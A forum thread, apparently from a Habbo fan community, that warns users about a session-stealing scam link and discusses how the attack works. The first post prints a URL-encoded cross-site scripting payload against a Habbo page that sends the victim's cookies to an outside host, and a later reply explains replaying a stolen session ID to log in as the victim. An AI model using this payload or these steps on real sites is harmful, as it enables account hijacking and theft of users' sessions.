    Arrow Recent Scam

    This is a recent scam, and I don't believe this has been posted, so I'm going to warn you all. There's a new scam based on Session Stealing.

    If anybody asks you to go on a link similar to http://www.habbo.co.uk/credits/buy_credits/phone.html?habbo_id_1_length=%22%20/%3E%3Cscript%20language=%22JavaScript%22%3Edocumen t.location=%22http://h1.ripway.com/EXAMPLE/ getsesh.php?cookie=%22%20%2B%20document.cookie;%3C/script %3E%3Cz%20%22 DO NOT go on it, if you do you will be keylogged within a matter of minutes whether you change your password or not.

    Yeah I see, they're using 'ripway.com' it seems to embed the keylogger via cookies. Oh the sods, and thanks for the update.

    When you click a harmful link, they manage to steal your internet cookies.
    This has your habbo Session from habbo home stolen, and they can use it.

    Most of the time the session times out before they can do anything, but be careful!!

    It's not a keylogger :S. They can only log into your account once then if you log out and log back in they can't get back on.. unless you click the link again.

    It's fairly simple to avoid the scam you haven't been keylogged and if you do ever click the link then just log out of Habbo and log back in or if you wern't even on Habbo then you've nothing to worry about. So changing your password is useless because they can't get back on your account unless you click the link again..

    At above poster.

    It's embedded in the cookies, he edited the link so it's harmless.

    Lol it aint a keylogger.. I tried it on a friend to show him it

    U dont even get their pass, all tht happens is when they click the link you get their sessionid, then u put their sessionid in the url bar and refresh habbo and u will be logged in as them

    its rubbish tho cos it only works if the person logged in less than 10 mins ago
